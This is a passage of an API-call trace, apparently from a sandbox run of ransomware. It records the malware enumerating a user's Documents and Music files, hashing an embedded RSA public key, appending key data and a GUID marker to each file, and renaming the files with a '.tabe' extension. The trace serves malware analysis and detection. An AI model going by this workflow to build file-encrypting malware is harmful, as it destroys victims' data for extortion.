lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.420] CloseHandle (hObject=0x618) returned 1 [0127.421] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\8dC-NNpWCspAS.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\8dc-nnpwcspas.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\8dC-NNpWCspAS.rtf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\8dc-nnpwcspas.rtf.tabe")) returned 1 [0127.423] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f0da050, ftCreationTime.dwHighDateTime=0x1d5d8b4, ftLastAccessTime.dwLowDateTime=0x61a5de80, ftLastAccessTime.dwHighDateTime=0x1d5dde4, ftLastWriteTime.dwLowDateTime=0x61a5de80, ftLastWriteTime.dwHighDateTime=0x1d5dde4, nFileSizeHigh=0x0, nFileSizeLow=0x18a58, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="cYkeVa6YtxSOJ9o.pdf", cAlternateFileName="CYKEVA~1.PDF")) returned 1 [0127.423] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\cYkeVa6YtxSOJ9o.pdf") returned=".pdf" [0127.423] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\cYkeVa6YtxSOJ9o.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\cykeva6ytxsoj9o.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.423] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=100952) returned 1 [0127.423] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.424] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18a32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.424] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.425] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x18a58, lpOverlapped=0x0) returned 1 [0127.426] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.426] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.426] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.426] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.427] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.427] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.427] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.427] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.427] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.427] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.427] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.427] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.427] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.428] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.428] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18a58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.428] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.428] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.428] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.428] CloseHandle (hObject=0x618) returned 1 [0127.430] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\cYkeVa6YtxSOJ9o.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\cykeva6ytxsoj9o.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\cYkeVa6YtxSOJ9o.pdf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\cykeva6ytxsoj9o.pdf.tabe")) returned 1 [0127.431] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78ef450, ftCreationTime.dwHighDateTime=0x1d5e7b3, ftLastAccessTime.dwLowDateTime=0x50938c0, ftLastAccessTime.dwHighDateTime=0x1d5e163, ftLastWriteTime.dwLowDateTime=0x50938c0, ftLastWriteTime.dwHighDateTime=0x1d5e163, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="f1HORdEsWis1i", cAlternateFileName="F1HORD~1")) returned 1 [0127.431] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6824f7a0, ftCreationTime.dwHighDateTime=0x1d5e7f3, ftLastAccessTime.dwLowDateTime=0x82805190, ftLastAccessTime.dwHighDateTime=0x1d5da64, ftLastWriteTime.dwLowDateTime=0x82805190, ftLastWriteTime.dwHighDateTime=0x1d5da64, nFileSizeHigh=0x0, nFileSizeLow=0x163bd, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="GI5BZQcHK.pps", cAlternateFileName="GI5BZQ~1.PPS")) returned 1 [0127.431] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\GI5BZQcHK.pps") returned=".pps" [0127.431] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\GI5BZQcHK.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\gi5bzqchk.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.432] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=91069) returned 1 [0127.432] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.433] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16397, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.433] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.434] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x163bd, lpOverlapped=0x0) returned 1 [0127.435] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.435] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.435] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.435] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.436] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.436] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.436] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.436] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.436] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.436] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.436] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.436] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.436] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.436] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.437] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x163bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.437] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.437] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.437] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.437] CloseHandle (hObject=0x618) returned 1 [0127.438] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\GI5BZQcHK.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\gi5bzqchk.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\GI5BZQcHK.pps.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\gi5bzqchk.pps.tabe")) returned 1 [0127.439] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d03afe0, ftCreationTime.dwHighDateTime=0x1d5dfef, ftLastAccessTime.dwLowDateTime=0x4669b0c0, ftLastAccessTime.dwHighDateTime=0x1d5dce9, ftLastWriteTime.dwLowDateTime=0x4669b0c0, ftLastWriteTime.dwHighDateTime=0x1d5dce9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="z0uy", cAlternateFileName="")) returned 1 [0127.440] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d03afe0, ftCreationTime.dwHighDateTime=0x1d5dfef, ftLastAccessTime.dwLowDateTime=0x4669b0c0, ftLastAccessTime.dwHighDateTime=0x1d5dce9, ftLastWriteTime.dwLowDateTime=0x4669b0c0, ftLastWriteTime.dwHighDateTime=0x1d5dce9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="z0uy", cAlternateFileName="")) returned 0 [0127.440] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.440] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.440] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.440] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\") returned="2_a9IgOQoUtvE0\\" [0127.440] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\") returned="FtYbuj0\\" [0127.440] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0127.440] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.440] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.440] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.440] PathFindFileNameW (pszPath="") returned="" [0127.440] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e949dd0, ftCreationTime.dwHighDateTime=0x1d5e489, ftLastAccessTime.dwLowDateTime=0xd6318a20, ftLastAccessTime.dwHighDateTime=0x1d5e374, ftLastWriteTime.dwLowDateTime=0xd6318a20, ftLastWriteTime.dwHighDateTime=0x1d5e374, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.443] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e949dd0, ftCreationTime.dwHighDateTime=0x1d5e489, ftLastAccessTime.dwLowDateTime=0xd6318a20, ftLastAccessTime.dwHighDateTime=0x1d5e374, ftLastWriteTime.dwLowDateTime=0xd6318a20, ftLastWriteTime.dwHighDateTime=0x1d5e374, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.443] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5fe0930, ftCreationTime.dwHighDateTime=0x1d5dd7c, ftLastAccessTime.dwLowDateTime=0xee7cf380, ftLastAccessTime.dwHighDateTime=0x1d5e5c2, ftLastWriteTime.dwLowDateTime=0xee7cf380, ftLastWriteTime.dwHighDateTime=0x1d5e5c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="fNY5gYIAYgax1tk7", cAlternateFileName="FNY5GY~1")) returned 1 [0127.443] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f7e2590, ftCreationTime.dwHighDateTime=0x1d5e103, ftLastAccessTime.dwLowDateTime=0x15b00040, ftLastAccessTime.dwHighDateTime=0x1d5d7eb, ftLastWriteTime.dwLowDateTime=0x15b00040, ftLastWriteTime.dwHighDateTime=0x1d5d7eb, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="G_F7SLAxVx-rbEUDn_2.wav", cAlternateFileName="G_F7SL~1.WAV")) returned 1 [0127.443] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\G_F7SLAxVx-rbEUDn_2.wav") returned=".wav" [0127.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\G_F7SLAxVx-rbEUDn_2.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ftybuj0\\2_a9igoqoutve0\\g_f7slaxvx-rbeudn_2.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.443] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=9734) returned 1 [0127.443] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.444] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x25e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.444] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.445] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x2606, lpOverlapped=0x0) returned 1 [0127.446] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.446] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.446] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.446] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0127.447] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.447] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.447] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.447] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.447] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.447] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 